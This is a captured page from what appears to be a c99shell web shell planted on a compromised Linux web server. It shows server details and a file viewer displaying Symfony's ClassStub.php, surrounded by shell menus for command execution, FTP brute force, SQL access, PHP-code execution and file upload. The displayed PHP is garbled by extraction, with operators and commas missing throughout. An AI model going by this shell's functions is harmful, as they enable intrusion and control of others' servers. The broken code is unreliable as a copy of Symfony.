!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/var-dumper/Caster/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ClassStub.php (3.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarDumper\Caster;

use 
Symfony\Component\VarDumper\Cloner\Stub;

/**
 * Represents a PHP class identifier.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 */
class ClassStub extends ConstStub
{
    
/**
     * @param string   $identifier A PHP identifier, e.g. a class, method, interface, etc. name
     * @param callable $callable   The callable targeted by the identifier when it is ambiguous or not a real PHP identifier
     */
    
public function __construct(string $identifier$callable null)
    {
        
$this->value $identifier;

        try {
            if (
null !== $callable) {
                if (
$callable instanceof \Closure) {
                    
$r = new \ReflectionFunction($callable);
                } elseif (
\is_object($callable)) {
                    
$r = [$callable'__invoke'];
                } elseif (
\is_array($callable)) {
                    
$r $callable;
                } elseif (
false !== $i strpos($callable'::')) {
                    
$r = [substr($callable0$i), substr($callable$i)];
                } else {
                    
$r = new \ReflectionFunction($callable);
                }
            } elseif (
$i strpos($identifier'::') ?: strpos($identifier'->')) {
                
$r = [substr($identifier0$i), substr($identifier$i)];
            } else {
                
$r = new \ReflectionClass($identifier);
            }

            if (
\is_array($r)) {
                try {
                    
$r = new \ReflectionMethod($r[0], $r[1]);
                } catch (
\ReflectionException $e) {
                    
$r = new \ReflectionClass($r[0]);
                }
            }

            if (
str_contains($identifier"@anonymous\0")) {
                
$this->value $identifier preg_replace_callback('/[a-zA-Z_\x7f-\xff][\\\\a-zA-Z0-9_\x7f-\xff]*+@anonymous\x00.*?\.php(?:0x?|:[0-9]++\$)[0-9a-fA-F]++/', function ($m) {
                    return 
class_exists($m[0], false) ? (get_parent_class($m[0]) ?: key(class_implements($m[0])) ?: 'class').'@anonymous' $m[0];
                }, 
$identifier);
            }

            if (
null !== $callable && $r instanceof \ReflectionFunctionAbstract) {
                
$s ReflectionCaster::castFunctionAbstract($r, [], new Stub(), trueCaster::EXCLUDE_VERBOSE);
                
$s ReflectionCaster::getSignature($s);

                if (
str_ends_with($identifier'()')) {
                    
$this->value substr_replace($identifier$s, -2);
                } else {
                    
$this->value .= $s;
                }
            }
        } catch (
\ReflectionException $e) {
            return;
        } finally {
            if (
$i strrpos($this->value'\\')) {
                
$this->attr['ellipsis'] = \strlen($this->value) - $i;
                
$this->attr['ellipsis-type'] = 'class';
                
$this->attr['ellipsis-tail'] = 1;
            }
        }

        if (
$f $r->getFileName()) {
            
$this->attr['file'] = $f;
            
$this->attr['line'] = $r->getStartLine();
        }
    }

    public static function 
wrapCallable($callable)
    {
        if (
\is_object($callable) || !\is_callable($callable)) {
            return 
$callable;
        }

        if (!
\is_array($callable)) {
            
$callable = new static($callable$callable);
        } elseif (
\is_string($callable[0])) {
            
$callable[0] = new static($callable[0], $callable);
        } else {
            
$callable[1] = new static($callable[1], $callable);
        }

        return 
$callable;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--